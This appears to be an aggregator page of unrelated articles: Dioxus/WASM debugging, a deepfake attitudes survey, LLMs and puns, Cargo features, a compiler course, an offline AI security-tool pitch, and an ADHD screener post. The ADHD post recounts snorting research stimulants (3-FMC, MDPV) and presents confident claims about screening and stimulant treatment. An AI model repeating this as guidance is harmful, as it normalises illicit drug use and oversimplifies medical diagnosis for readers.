But since then, I’ve found this Chrome extension called
C/C++ DevTools Support
(DWARF)
, which looks exactly like what someone would come up with if they were
trying to target me specifically with malware.
And yet it works, it doesn’t actually give us the name of the functions but it
does show the name of source files and lines. And if you click them they open up
in DevTools, and you can place breakpoints, you can step in, step over, step out
like a real debugger.
It’s honestly a lot better than I imagined. I didn’t even know we were so far
with WASM debugging or that we had picked DWARF for that but I guess that makes
sense.
Next, I was going to complain about Subsecond, their hot patching thing.
So, what is hot patching? When you develop a web application, it’s kind of a
given now because of React and Svelte and whatnot, that you should be able to
modify source code that corresponds to a component and that When saving that
file in your editor, the change should apply directly in your browser without
changing the state of the application.
So if you’ve navigated deep into your application’s hierarchy, hot patching
doesn’t reload you back to the start page. It doesn’t reload the page at all.
Instead, it updates only the components that have changed on the current page.
And I thought I was using that with Dioxus and I thought, wow, it doesn’t really
work well at all. It actually does lose state and it’s not actually under a
second. It turns out I hadn’t enabled it. I forgot. You have to pass
--hot-patch
and I… didn’t know.
When I did enable it, I noticed that it worked really well. Like, well, it
crashes all the time, because what it’s doing is a lot more complicated than the
JavaScript framework, and it’s still early days. But the promise is here. You
can make a change and see the result very quickly in your browser.
And you wanna know something funny? When you enable hotpatching, Stacktraces
show the actual mangled name of Rust functions. But, it also breaks DWARF
debugging, so uhhh.. your choice I guess.
It’s time to answer the question, does Dioxus spark joy? I’m gonna say: not yet.
For now, without subsecond and everything, it’s still really unpleasant for the
most part, compared to Svelte 5 which is my gold standard. But I can see what
the Dioxus team is going for and I’m really excited for it.
I was kind of skeptical going into this. I was like: I’m gonna get Rust enums,
which is great, but everything else is going to
suck
.
But I was wrong! The generational references make event handlers not actually
miserable to write. Server-side functions with web sockets actually work pretty
well. And get rid of a lot of boilerplate.
The Dioxus team is doing a lot of hard, interesting work. They have a
Flexbox
implementation
that they’re sharing with Servo.
They’re doing their own HTML and CSS renderer now to make desktop applications
without a full-fledged web engine.
I’m very much looking forward for Dioxus and the entire WASM on the front-end
ecosystem to catch up with the JavaScript-based solutions in terms of developer
ergonomics.
In the meantime, I’ll be doing Rust on the backend, and TypeScript on the
frontend.
So since I gave this talk, I’ve written several thousand lines of dioxus for
an upcoming project, which… made the conclusion a lie I guess. I still feel
conflicted about it, but I guess I’m also invested in it now. Let’s… see
where this goes!
(JavaScript is required to see this. Or maybe my stuff broke)
Did you know I also make videos? Check them out on
PeerTube
and also
YouTube
!
Here's another article just for you:
One in four unconcerned by sexual deepfakes created without consent, survey finds
Guardian
www.theguardian.com
2025-11-24 09:00:32
Senior UK police officer says AI is accelerating violence against women and girls and that technology companies are complicit One in four people think there is nothing wrong with creating and sharing sexual deepfakes, or they feel neutral about it, even when the person depicted has not consented, ac...
One in four people think there is nothing wrong with creating and sharing sexual deepfakes, or they feel neutral about it, even when the person depicted has not consented, according to a police-commissioned survey.
The findings prompted a senior police officer to warn that the use of AI is accelerating an epidemic in violence against women and girls (VAWG), and that technology companies are complicit in this abuse.
The survey of 1,700 people commissioned by the office of the police chief scientific adviser found 13% felt there was nothing wrong with creating and sharing sexual or intimate deepfakes – digitally altered content made using AI without consent.
A further 12% felt neutral about the moral and legal acceptability of making and sharing such deepfakes.
Det Ch Supt Claire Hammond, from the national centre for VAWG and public protection, reminded the public that “sharing intimate images of someone without their consent, whether they are real images or not, is deeply violating”.
Commenting on the survey findings, she said: “The rise of AI technology is accelerating the epidemic of violence against women and girls across the world. Technology companies are complicit in this abuse and have made creating and sharing abusive material as simple as clicking a button, and they have to act now to stop it.”
She urged victims of deepfakes to report any images to the police. Hammond said: “This is a serious crime, and we will support you. No one should suffer in silence or shame.”
Creating non-consensual sexually explicit deepfakes is a criminal offence under the new Data Act.
The report, by the crime and justice consultancy Crest Advisory, found that 7% of respondents had been depicted in a sexual or intimate deepfake. Of these, only 51% had reported it to the police. Among those who told no one, the most commonly cited reasons were embarrassment and uncertainty that the offence would be treated seriously.
The data also suggested that men under 45 were likely to find it acceptable to create and share deepfakes. This group was also more likely to view pornography online and agree with misogynistic views, and feel positively towards AI. But the report said this association of age and gender with such views was weak and it called for further research to explore this apparent association.
One in 20 of the respondents admitted they had created deepfakes in the past. More than one in 10 said they would create one in the future. And two-thirds of respondents said they had seen, or might have seen, a deepfake.
The report’s author, Callyane Desroches, head of policy and strategy at Crest Advisory, warned that the creation of deepfakes was “becoming increasingly normalised as the technology to make them becomes cheaper and more accessible”.
She added: “While some deepfake content may seem harmless, the vast majority of video content is sexualised – and women are overwhelmingly the targets.
“We are deeply concerned about what our research has highlighted – that there is a cohort of young men who actively watch pornography and hold views that align with misogyny who see no harm in viewing, creating and sharing sexual deepfakes of people without their consent.”
Cally Jane Beech, an activist who campaigns for better protection for victims of deepfake abuse, said: “We live in very worrying times, the futures of our daughters (and sons) are at stake if we don’t start to take decisive action in the digital space soon.
She added: “We are looking at a whole generation of kids who grew up with no safeguards, laws or rules in place about this, and are now seeing the dark ripple effect of that freedom.
“Stopping this starts at home. Education and open conversation need to be reinforced every day if we ever stand a chance of stamping this out.”
Can’t tech a joke: AI does not understand puns, study finds
Guardian
www.theguardian.com
2025-11-24 07:59:34
Researchers say results underline large language models’ poor grasp of humour, empathy and cultural nuance Comedians who rely on clever wordplay and writers of witty headlines can rest a little easier, for the moment at least, research on AI suggests. Experts from universities in the UK and Italy ha...
An example they tested was: “I used to be a comedian, but my life became a joke.” If they replaced this with: “I used to be a comedian, but my life became chaotic,” LLMs still tended to perceive the presence of a pun.
They also tried: “Long fairy tales have a tendency to dragon.” If they replaced “dragon” with the synonym “prolong” or even a random word, LLMs seemed to believe there was a pun there.
Prof Jose Camacho Collados
, of Cardiff University’s school of computer science and informatics, claimed the research suggested LLMs’ grasp of humour was fragile.
“In general, LLMs tend to memorise what they have learned in their training. As such, they catch existing puns well but that doesn’t mean they truly understand them,” he said.
“We were able to consistently fool LLMs by modifying existing puns, removing the double meaning that made the original pun. In these cases, models associate these sentences with previous puns, and make up all sort of reasons to justify they are a pun. Ultimately, we found their understanding of puns is an illusion.”
The team concluded that when faced with unfamiliar wordplay, the LLMs’ success rate in distinguishing puns from sentences without a pun can drop to 20%.
Another pun tested was: “Old LLMs never die, they just lose their attention.” When attention was changed to “ukulele”, the LLM still perceived it as a pun on the basis that “ukulele” sounded a bit like “you-kill-LLM”.
The team was surprised at the creativity, but still, the LLM had not got the joke.
The researchers said the work underlined why people should be cautious when using LLMs for applications that need an understanding of humour, empathy or cultural nuance.
Two common criticisms of Rust development are the long compile times and the large number of dependencies that end up being used in projects. While people have drawn connections between these issues before, I've noticed that most discussions don't end up talking much about a specific tool that ostensibly should help mitigate this issue: Cargo features. For those not already familiar with Cargo features, I'd recommend
the Rust book
as an authoritative source of documentation for how they work; for those not interested in having to read something external to understand the rest of this post, here's a brief summary of how they work:
When creating a Rust package...
you can define any number of "features"
a feature can be tied to one or more "optional" dependencies, which will get included if the feature is enabled by downstream users and will
not
be included if disabled by downstream users
a feature can depend on other features (either from within the same package or its dependencies), which will transitively include them whenever the feature that required them is enabled
code inside the package can be conditionally included or excluded based on whether certain features are enabled or disabled
the package defines which subset of the features are enabled by default
When depending on a Rust package that uses features...
without specifying any additional details, the default set of features defined by the package will be used
individual features can be enabled by manually listing them in the details of a dependency configuration
default features can be disabled completely for a given dependency, meaning that only the individually listed features will be enabled
a dependency that is specified more than once (either transitively by multiple direct dependencies or both directly and transitively) using versions that are considered compatible in terms of
SemVer
will be "unified", which means the union of sets of specified features will be enabled
In case this is confusing, here's a concrete example: imagine a package called
D
has features called
foo
,
bar
, and
baz
. Package
A
depends directly on version 1.1.1 of
D
and specifies it uses the features
foo
and
bar
from it.
A
also depends directly on packages
B
and
C
.
B
depends directly on version 1.2.0 of
D
and uses the feature
baz
. Finally,
C
depends on version 1.5.0 of package
D
but doesn't specify any features. When compiling package
A
and its dependencies, package
D
will have features
foo
,
bar
, and
baz
enabled for all of
A
,
B
, and
C
At a high level, Cargo features give package authors a way to allow users to opt into or out of parts of their package, and in an ideal world, they would make it easy to avoid having to compile code from dependencies that you don't need. For those familiar with other languages that provide similar functionality, this might be recognizable as a form of
conditional compilation
. It's worth noting that one of the common uses of feature flags is giving users the ability to opt out of coding using
procedural macros
, which often have an outsized impact on compile times. However, there are some quirks in the ways that features work that at least to me seem to get in the way of this happening in practice, and I've increasingly started to feel like they're a key piece of why the Rust ecosystem hasn't been able to improve the situation around compilation times and dependency bloat significantly.
Problems with "default-features"
In my opinion, the ergonomics around defining and using the default set of features get in the way of trying to reduce bloat and compile times. For example, by default, cargo doesn't show anything about what features are enabled in a dependency you've added. Here's an extremely contrived demonstration of how this might end up happening in a package I've defined a locally:
# my-package/Cargo.toml
[package]
name = "my-package"
version = "0.1.0"
edition = "2021"
[dependencies]
my-dependency = { path = "../my-dependency" }
It imports another package that I've defined locally alongside it as a dependency. Currently, there's absolutely no code in this package other than the dependency:
# my-package/src/main.rs
fn main() {
}
Let's compile it!
$ time cargo build
Compiling my-dependency v0.1.0 (/home/saghm/.scratch/my-dependency)
Compiling my-package v0.1.0 (/home/saghm/.scratch/my-package)
Finished `dev` profile [unoptimized + debuginfo] target(s) in 3.10s
real 0m3.155s
user 0m1.929s
sys 0m1.281s
Hmm, over three seconds to build a seemingly empty package in debug mode. Let's take a look at
my-dependency
to see what's going on.
# my-dependency/Cargo.toml
[package]
name = "my-dependency"
version = "0.1.0"
edition = "2021"
[features]
default = ["foo"]
foo = []
[dependencies]
my-dependency
has a feature called "foo". We definitely didn't make any explicit choice to include it in
my-package
, and the
cargo build
output didn't mention it at all, but it's still going to be included by default because it's in the default feature list. What does the feature do though?
Whoops! Turns out someone defined a static array of 400,000 bytes of zeroes and exported it under the
foo
feature flag. What happens if we disable that feature in our original package?
$ cargo clean && time cargo build
Removed 32 files, 1007.6MiB total
Compiling my-dependency v0.1.0 (/home/saghm/.scratch/my-dependency)
Compiling my-package v0.1.0 (/home/saghm/.scratch/my-package)
Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.20s
real 0m0.255s
user 0m0.152s
sys 0m0.107s
A fifth or a quarter of a second, depending on if you ask
cargo
or
time
. Either way, much better!
This example is obviously very silly, but at a high level, there's nothing stopping something similar from happening with real-world code because there's no obvious feedback given when using default features from dependencies.
The fact that default features can only be opted out of entirely rather than disabled individually can also be mildly annoying. If a package exposes 10 default features, and you want to disable only one of them, the only way to do this currently is to disable all default features and then manually enable the nine that you
don't
want to disable. (As an aside, this also means that introducing new default features won't necessarily cause all packages that depend on it to get them by default; in the previous example, increasing the number of default features to 11 would cause the above strategy to disable both the feature it previously disabled
and
the newly default feature. While this isn't necessarily a bad thing from the perspective of compile times, I'd still argue that this happening in a mostly hidden way to users who upgrade isn't ideal, and that this problem would be better avoided by having a more granular mechanism for disabling default features.)
Problems with transitive dependencies
It might sound like the issues with bloat from features would be mitigated by avoiding marking features as default, but there's an additional issue that would still prevent this from improving things very much. The only mechanism that currently exists for a library to expose the features of its dependencies transitively is to define its own features that each "map" to the features of its dependencies. Using the contrived example from above,
my-package
could define a feature that depends on the
foo
feature of
my-dependency
, and end-users of
my-package
could choose whether to include that feature or not. Without that, users of
my-package
will always end up with the exact set of features from
my-package
that
my-package
defines; either all users of
my-package
get the
foo
feature from
my-dependency
or none of them would. In other words, Cargo doesn't provide any way to configure the set of features included from transitive dependencies.
Imagine if you've created a library that has five dependencies, and none of those have any dependencies of their own. Not too bad compared to a lot of Rust packages! In order to do their part to combat bloat and compile times, each of those libraries define five optional features, with the idea that users of the package can avoid compiling the parts they don't need. If you don't necessarily need those features in your own library, but you happen to expose types from all five of those crates in your own API, you'd need to define twenty-five features in your own crate to give your users the option to avoid the bloat. The situation gets even worse when you consider transitive dependencies; if each of those five dependencies even had a single dependency of their own with two optional features, and they followed the same strategy of exposing these as well, you'd need to add another ten features to your package after the initial just to avoid forcing users of your own code to include code they don't need that you
haven't written
—on top of any features you define for users to avoid unnecessary bloat from your own code!
This is why I don't think that cleaning up the situation on how default dependencies are specified would end up being sufficient to alleviate the current situation. Even if we had a magic wand that we could wave and "fix" every library in the ecosystem to define a bunch of features to disable arbitrary code (both from themselves and mapping to the features of their dependencies), the number of transitive features that would need to be disabled transitively to actually eliminate all of the unnecessary code currently would be absolutely
massive
. To me, this is a fundamental flaw with what otherwise could be an effective way to reduce compile times in Rust without having to drastically change the way people use dependencies today.
What might help with these issues?
I think there are a number of possible changes that could be made that would mitigate or potentially even eliminate the issues I've described here. Some of the ideas I have would probably cause incompatibilities with the way things currently work, and while there are some existing strategies that might make them less disruptive (like tying them to a bump in the
feature resolver version
), I don't have enough expertise to know the exact details of how that would work. I'm also not entirely certain that the ideas I have would even be possible to implement, or that they would actually improve the compile times and bloat rather than make them worse due to consequences that haven't occurred to me. Given all of that, I'd characterize the remainder of this post as brainstorming rather than recommendations or even realistic suggestions. If the issues I've outlined above resonate with others who read this post, hopefully smarter people than me with far more domain expertise will come up with an effective way to deal with them.
With that said, these are some of the potential mitigations for these issues I've come up with along with my extremely unscientific attempt to quantify how much I'd expect them to improve the situation, the amount effort to implement them, and my confidence that my assessment of their impact is correct:
Providing a mechanism to manually disable individual default features when specifying a dependency
Low impact
- This wouldn't drastically improve the status quo, but it would make trying to avoid bloat slightly easier in some situations
Low effort
- I'd expect this to be mostly straightforward to implement
High confidence
- The scope of this change is small enough that I don't think it's likely there are drastic unintended consequences that I haven't considered (although that doesn't necessarily mean that everyone would be happy with the consequences that
are
intended!)
Providing a less verbose way for libraries to expose the features of their direct dependencies to other packages that depend on them directly
Low impact
- The direct impact of this change would essentially just be ergonomic, and it would only affect packages that reexport parts of their dependencies to their own users. If this included a way to disable transitive features that aren't needed, this could potentially make a large impact in the long run, but only if enough features ended up being exposed from libraries for people to disable enough code to make a difference
Medium effort
- At minimum, this would require augmenting the
Cargo manifest format
to define a way to configure this, and I don't have enough expertise in the way the feature resolver works to feel safe in assuming that this would be possible without changes there as well
Medium confidence
- I do think there's a small chance that this might not be feasible for some reason, but I also think there's a small chance that this change could have an outsized impact in alleviating the issues; eliminating the need to account for an exponential growth in feature count makes the "magic wand" to give us a world where all existing Rust APIs are sliced into bite-sized features much more enticing, so maybe we'll be lucky and giving the ecosystem enough incentive could cause people to start working towards making that hypothetical situation a reality
Providing a way to disable features from transitive dependencies
Low impact
- This is essentially the same as the previous idea, only configured from the package inheriting features transitively rather than the one exposing them
Medium effort
- I wouldn't be surprised if there was some additional work compared to the previous idea around handling conflicts when someone tries to disable a transitive feature that's required by the dependency they inherit it from, but this might not end up being hard to solve in practice
Low confidence
- Overall, I think this would end up being a messier way to achieve the same results as the previous idea. However, there's some value in allowing people to fix bloat in their own packages without requiring changes from every dependency along the transitive chain, and it's possible that I'm underestimating the magnitude of that additional value
"Zero-config" features that allow enabling/disabling code in a library without the author having to manually define it
High impact
- This would be the "magic wand" that I mentioned a few times above. The exact impact would depend on the granularity of the features it defines, but at the extreme end, automatically defining a separate feature for every individual item that gets exposed as part of a library's API could provide away to avoid including
any
code that isn't used, like a compile-time version of the
Unix
strip
utility
High effort
- The amount of work needed to implement this would be substantial at pretty much every step of the process: designing how it should work, implementing the design, testing that it works correctly, and benchmarking the results on real-world codebases to validate that it actually helps
Low confidence
: It's not clear to me whether this would be possible to do in a way that ended up being beneficial in practice.
Of the ideas listed here, this is definitely the most radical, so I wouldn't be surprised if some people react strongly to it. However, it's the idea that I think would have the most potential to improve things, so I think it deserves some additional elaboration on my part.
The first objection I'd expect to hear to this idea would be feasibility; it might not be obvious whether this can even be done in practice. I do think there are at least two potential ways that this would be at least possible to implement correctly: "one feature for every item in the crate" and "one feature for every module in the crate". At least from a computability perspective, it seems like it would be possible to enumerate each of these for a given library and define a corresponding feature, and then determine which (if any) of the others each of them depends on. Once that graph of feature dependencies is obtained, resolving the features that actually get used would presumably follow the same rules as resolving explicitly defined features.
The other objection I'd expect to hear is whether this would actually end up reducing compile times in practice. This concern is much harder for me to dismiss, and it's the reason I listed my confidence in the idea as "low". Any time saved by avoiding compilation of unused code would be offset by cost of having to determine how the features depend on each other, and there would be a tradeoff when deciding the amount of code in each of these features; having a larger number of "smaller" features would increase the amount of code that could be eliminated from compilation, but it would increase the amount of work needed to determine which of these features depend on each other. The amount of compilation that could be avoided could vary dramatically based on what parts of the library's API are being used, and the dependency graph of features might end up being so deep that the extra work to split into smaller features wouldn't end up eliminating more code than if a smaller set of "larger" features were picked instead.
Despite not being super confident that this would end up as a net improvement in compile times, this is still the idea I'm most interested in seeing discussed. Maybe someone will make a compelling enough argument against it that I'll change my mind, and most likely the idea won't end up going anywhere regardless of what my opinion is, but there's always a small chance that I was lucky enough to come up with a useful idea, and then we can all enjoy the benefits of having lower compile times finally.
Are you interested in building a compiler? Learning how functional
languages are implemented? Gaining a bit of practical experience with
x86-64 assembly language? If so, I invite you to try your hand at the
projects in my class,
CIS531
. CIS531 is a masters-level
class on compiler design which assumes that (a) you know how to
program, (b) you’ve had some exposure to C (know about stack
allocation, malloc, etc.), and (c) have seen some assembly code. My
class projects are in the Racket programming language, but if you
don’t know Racket, it is quite easy to learn: I have a
set of YouTube
video lectures that teach Racket
quickly
!
If you’ve never heard of Racket before, or you’re skeptical of
functional programming, indulge me for a bit: there’s no hardcore FP
theory or math in this course, and Racket is genuinely the best
language to use for this specific setup.
My class follows Prof. Jeremy Siek’s excellent book, “Essentials of
Compilation.” While I highly recommend buying the book and supporting
Prof. Siek, I will also note that there are
free online preliminary
editions
floating around; in my class, I followed the free version and
suggested that students buy the book if doing so fit their
goals. However, along with the book, I also have a set of class slides
along with sporadic course videos, both available on the
class
website
.
This class builds up to a compiler with the following features:
Variables and assignment via
let
Integer arithmetic via
+
and
-
Reading inputs / printing output
Booleans, conjunctions/disjunctions (and/or)
Branching via
if
, integer comparisons (<, etc.)
Heap-allocated vectors
Assignment / mutation (
set!
)
While loops
Fixed-arity functions and function application
Lambdas (closures at runtime)
The unique combination of features lets us tour an interesting
cross-section of programming languages, exploring both imperative
programming with loops and mutation but also functional programming
with lists and recursion.
The Projects
To be specific, I challenge you to complete five projects, each
including a comprehensive test suite that will seriously stress the
correctness of your implementation. p1 is a warmup project (you should
skip if you already know Racket), but p2-5 build a compiler for a set
of increasingly-complex languages to x86-64. The languages nest inside
of each other, with p2 giving us straight-line arithmetic, p3 giving
us decision trees, p4 giving us loops and mutation, and p5 giving us
functions, recursion, and lambdas.
p1 – Stack interpreter
. This is
a warmup project, if you know Racket and have some PL background,
feel free to skip.
The projects are designed with one key principle in mind: get us to
the
most expressive/fun language possible, as fast as possible
. In
doing this, we sacrifice a lot that might be typically covered:
Our languages aren’t type/memory safe, we assume the programmer is
correct
No register allocation (possible to add, not too hard)
No garbage collection of any kind: we
just use malloc
. We could
trivially support the Boehm GC (I have done that in the past), but
it was another static library to link in and I really wanted to make
this self contained.
We support a
very
limited set of builtins (but it is trivial to
add more)
So even after project 5, getting to a “real” compiler would take a bit
of effort. The most important (in my opinion) are (a) memory safety
(the language needs to be safe, period) via dynamic type tagging and
(b) slightly more builtins, and (c) register allocation. That would
get us to a respectable compiler. After that, we could add more
language features, or optimize the ones we have, e.g., by using
abstract interpretation.
An Example Program
Our language will include functions, loops, branching, assignment, and
even heap-allocated vectors. As an example of the power, here’s a
Sudoku solver written in the language
(program
;; =========================
;; List primitives
;; Empty list is (void)
;; =========================
(define (is_nil x) (eq? x (void)))
;; cons cell as 2-element vector: [0] = head, [1] = tail
(define (cons h t)
(let ([c (make-vector 2)])
(let ([_ (vector-set! c 0 h)])
(let ([_ (vector-set! c 1 t)])
c))))
(define (head c) (vector-ref c 0))
(define (tail c) (vector-ref c 1))
;; =========================
;; Cell representation
;; cell = (row col val) as nested cons
;; =========================
(define (make_cell r c v)
(cons r (cons c (cons v (void)))))
(define (cell_row cell)
(head cell))
(define (cell_col cell)
(head (tail cell)))
(define (cell_val cell)
(head (tail (tail cell))))
;; =========================
;; Block indexing (0,1,2) for rows/cols
;; =========================
(define (block_index3 x)
(if (< x 3)
0
(if (< x 6)
1
2)))
(define (same_block? r1 c1 r2 c2)
(if (eq? (block_index3 r1) (block_index3 r2))
(eq? (block_index3 c1) (block_index3 c2))
#f))
;; =========================
;; Lookup current value at (row, col) in board
;; board is a list of cells
;; Return 0 if not assigned
;; =========================
(define (lookup board row col)
(if (is_nil board)
0
(let ([cell (head board)])
(let ([r (cell_row cell)])
(let ([c (cell_col cell)])
(if (and (eq? r row) (eq? c col))
(cell_val cell)
(lookup (tail board) row col)))))))
;; =========================
;; Conflict check:
;; #t if some cell in board has:
;; - same value, and
;; - same row OR same col OR same 3x3 block
;; =========================
(define (conflicts? board row col val)
(if (is_nil board)
#f
(let ([cell (head board)])
(let ([r (cell_row cell)])
(let ([c (cell_col cell)])
(let ([v (cell_val cell)])
(if (and (eq? v val)
(or (eq? r row)
(or (eq? c col)
(same_block? r c row col))))
#t
(conflicts? (tail board) row col val))))))))
;; =========================
;; Recursive backtracking solver over (row, col)
;; board: list of assignments
;; rows, cols = 0..8
;; =========================
(define (solve_cell row col board)
(if (eq? row 9)
;; All rows done: solved
board
(if (eq? col 9)
;; End of row: go to next row
(solve_cell (+ row 1) 0 board)
;; Otherwise, try this cell
(let ([existing (lookup board row col)])
(if (eq? existing 0)
;; Empty cell: try values 1..9
(let ([candidate 1])
(let ([solution (void)])
(begin
(while (and (< candidate 10)
(eq? solution (void)))
(begin
(if (conflicts? board row col candidate)
;; conflict, skip
(set! solution solution)
;; no conflict, extend board and recurse
(let ([s (solve_cell row
(+ col 1)
(cons (make_cell row col candidate)
board))])
(if (eq? s (void))
(set! solution solution)
(set! solution s))))
(set! candidate (+ candidate 1))))
solution)))
;; Pre-filled cell: just move on
(solve_cell row (+ col 1) board))))))
;; =========================
;; Read initial board from input:
;; 81 integers, row-major, 0 = empty, 1..9 = given
;; Returns list of cells
;; =========================
(define (read_board)
(let ([board (void)])
(let ([i 0])
(begin
(while (< i 9)
(begin
(let ([j 0])
(while (< j 9)
(begin
(let ([v (read)])
(if (eq? v 0)
(set! board board)
(set! board (cons (make_cell i j v) board))))
(set! j (+ j 1)))))
(set! i (+ i 1))))
board))))
;; =========================
;; Entry: read board, solve from (0,0), return solution
;; Solution is a list of (row col val) cells
;; =========================
(let* ([board (read_board)]
[solution (solve_cell 0 0 board)])
(lookup solution 8 8)))
The Full Language
The final language you’ll implement will be this one. In comments,
I’ve also highlighted the sublanguages: for example, project 2
includes only numbers, input (read), binary plus, unary minus,
variable references and let binding. It grows to all of
R5
.
input-files/
– Input streams for programs (lines of integers).
goldens/
– Instructor goldens (IR snapshots, interpreter outputs, and stdout baselines).
You write your code in
compile.rkt
, which consists of a set of
passes
. Each pass transforms an input language into an output
language, and these intermediate languages (IRs) are codified via
predicates in
irs.rkt
. To define the meaning of each IR, we give an
interpreter for each in
interpreters.rkt
. For the compiler to be
correct, it needs to be the case that–for all input streams–the
compiler produces the same output stream across all intermediate
IRs. There is some system-specific stuff in
system.rkt
, which takes
care of things like Linux vs. Mac ABI issues, specifying register
names, etc. The
main.rkt
file acts as a main compiler entrypoint,
and it carefully runs each pass of the compiler, checking predicates
before/after each pass and interpreting each IR, checking to ensure
consistency. This is a
huge
win for debugging, in my opinion: you
always
want to localize errors to the proximate pass which causes
misinterpretation, and
main.rkt
seriously aids debugging in my
experience. There is also more comprehensive test infrastructure in
test.rkt
; this test script is invoked by the Python-based test
scripts in
test/
. These tests check the behavior of the compiler on
the programs in the
test-programs/
directory, using the files from
input-files
as inputs and comparing to the outputs in
goldens/
.
Why Is This Course Unique and Cool?
You build a
real compiler
, all the way to actual x86-64
assembly.
Each IR has a corresponding interpreter, which is easy to find/read
and written in a familiar style, giving semantic clarity and
testable correctness.
The project is
language scalable
, meaning that you can use it as
a base for building your own language. Of course, this is thanks to
Dr. Siek’s great “incremental” design.
It is
fully testable across multiple passes
, which helps
anticipate the thing we all fear most about writing a compiler:
seeing a problem that is the ramification of far-away code from
higher up in the compilation pipeline.
It is written in a
simple, pure recursive style
. Just plain old
pattern matching and recursion here, no need for any complex
abstractions.
How Do I Get Started?
Familiarize yourself with the course webpage: https://kmicinski.com/cis531-f25
If you don’t know Racket, start with project 1: https://kmicinski.com/cis531-f25/projects/1
Otherwise, start with project 2: https://kmicinski.com/cis531-f25/projects/2
When you finish each project, move on to the next!
When you’re done, start building your
own
language. Consider
adding type (checking/inference), classes, more builtins, pattern
matching, continuations, exceptions, algebraic effects. The options
are myriad, but once you’ve finished projects 2-5, you’ve built a
whole compiler for a surprisingly expressive language.
Thank you to the National Science Foundation and Others
If you like this work and live in the United States, please feel
commensurately less bad about paying your taxes. I made the whole
class free, at least as free as I could given practical
constraints. This class work on compilation is partially supported by
our
NSF PPoSS
large
,
which has already produced
many
cool
major
results
. In
subsequent explorations, I am hoping that I can use this class
compiler as a baseline for highly-scalable engines that reason about
programs. Given the simple, self-contained nature–and the presence of
per-pass interpreters and consistency testing–I see this as an
awesome potential baseline for cool extensions.
My course is of course heavily inspired by Prof. Siek’s book and
course, along with inspiration from Thomas Gilray at Washington
State. Eight years ago, Tom and I took a spontaneous trip to see the
eclipse halfway across the country (skipping out on the ICSE ‘17
deadline basically); we discussed compiler design over a steamed
seafood buffet in Myrtle Beach after napping in a cheap motel, having
been awake for over 24 hours and feeling the eclipse had made it worth
it. We sketched out his whole compiler on that roadtrip, and ever
since that night eating steamed crabs, I wanted to build my own course
compiler. Now that I have, I am not sure it compares to waking up for
just four hours of twilight, only to consume copious amounts of butter
and shellfish as the brisk ocean air wisps over your face, the
closures and continuations softly washing rhythmically through the
conversation as you walk along the beach back to your $50 motel room.
In closing, thanks for checking this out, this compiler was a ton of
fun to build. Even as someone who has some amount of expertise in
compiler design, building it and getting it 100% right (I hope!) was
such a rewarding experience. My real sincere hope is that it offers
students (and you!) a fun journey. If you end up doing anything this,
please get in touch: kkmicins@syr.edu. I’d love to see what you come
up with. Best wishes,
Kristopher Micinski
– Syracuse, November, 2025
Show HN: Syd – An offline-first, AI-augmented workstation for blue teams
In a world of cloud-based AI, Syd stands apart. Delivered on a physical 1TB SSD and updated via encrypted USB, Syd is truly air-gapped. This means zero risk of your sensitive client data, vulnerabilities, or proprietary tools ever being exposed to a third-party service.
Powered by local Dolphin Llama 3 8B model – no internet connection required
Accelerated Workflow
Turn hours of manual analysis into seconds of AI-powered insight. Syd's RAG engine searches over 356,000 cybersecurity knowledge chunks and instantly transforms raw tool output into actionable intelligence.
Automatic detection of Nmap, Volatility, YARA, PCAP, and over 20 other tools
On-Demand Expertise
Syd combines a specialised LLM with over 356,000 chunks covering Metasploit exploits, Atomic Red Team techniques, forensics workflows, CVE databases, and threat intelligence, making expert-level knowledge accessible around the clock.
2GB+ knowledge base including exploits, forensics, and incident response workflows
For Red Teams
Syd empowers you with instant access to exploit intelligence. Paste Nmap results and get ready-to-run Metasploit commands and Exploit-DB links, turning vulnerability scans into actionable attack plans in seconds.
Syd provides context-aware remediation steps, malware-specific workflows from YARA outputs, and deep forensic insights from Volatility findings, helping you respond to threats faster and more effectively.
Syd knows the difference between offensive and defensive tools, providing exploit guidance for Nmap scans and remediation steps for YARA detections automatically.
There is a six-question test for ADHD that takes a minute to complete. If you score highly on it, you are likely to have ADHD and have a strong reason to talk to a psychiatrist about getting medication. It’s a low-effort way to surface a real problem for yourself — or help someone else surface it.
Here’s the story of how I found the test. If you just want the test, skip this section.
A few years ago when I was moving from Moscow to London I had small leftover amounts of simulants
3-FMC
and
MDPV
from my student days. I’d use them for productivity during exam periods, but I never actually enjoyed them recreationally. Still, I was not going to carry sketchy chemicals across two borders, so I figured I’d experiment with recreational use.
I snorted a small line of 3-FMC and instead of having fun I finally felt clearheaded enough to stop procrastinating on writing a farewell post for my then-colleagues. I knew stimulants are a common treatment for ADHD, so a question popped into my head: do I have ADHD? Yes,
stimulants help everyone focus
, but the contrast was too striking to ignore.
I took a few online tests, they
did
suggest ADHD. I then read more about ADHD online and that also suggested I had it. I kept reading and reading wanting full certainty.
An actual depiction of me trying to figure out ADHD
There was only one definitive way to find out: get a diagnosis from a psychiatrist.
I was leaving Russia in a few weeks, and Russia bans first-line ADHD medications like amphetamine and methylphenidate. So I decided to wait until I moved to London. After two months after arriving in London, I booked a private assessment with a psychiatrist. Shortly after, I had the 1.5 hour assessment and walked out with an ADHD diagnosis and a prescription for lisdexamfetamine, a prodrug of d-amphetamine.
One of the questionnaires they sent me before the appointment was very short. I later learned that this six-question screener is surprisingly effective.
In the test above, give yourself one point for each answer in the grey square. If you score 4 out 6, you have a strong reason to suspect ADHD and get a proper assessment.
They correctly identify two thirds of adults with ADHD and miss the other third.
They flag 0.5% of people without ADHD as possibly having ADHD.
If we assume 5% of people have ADHD (
this source
gives 4.4%, and
this
gives 6%), then:
The test would correctly pick up 3.5% of the population as having ADHD (0.69 × 5%).
It would incorrectly flag about 0.5% (≈0.475%, rounding up) of the population who don’t have ADHD.
So if you score 4 out of 6, the chance you actually have ADHD is:
3.5% / (3.5% + 0.5%) = 87.5%.
ADHD is highly treatable with meds. First-line treatments for ADHD — stimulants like amphetamine and methylphenidate — work really well. To quote a podcast on psychiatry: “Stimulants are one of the most effective meds in psychiatry” (
source
), ”Not many treatments in psychiatry have a large effect size. There’s stimulants for ADHD, ketamine for depression” (
source
).
70-90%
of people with ADHD find stimulants effective and experience noticeable quality of life improvements.
And if you don’t want to take stimulants or they don’t work for you, there are non-stimulant medications, such as
atomoxetine
or
Intuniv
.
This test is an imperfect screening tool that misses a third of all true ADHD cases and incorrectly flags a small percentage of non-ADHD people. But it has an incredible signal to effort ratio — it only takes a minute to take. If you score above its threshold — you have a strong reason to seek a full assessment.
Even if you are confident you don’t have ADHD, it’d only take you a minute to test your distractible friend. The right medication could be life-changing for them — it certainly was for me.
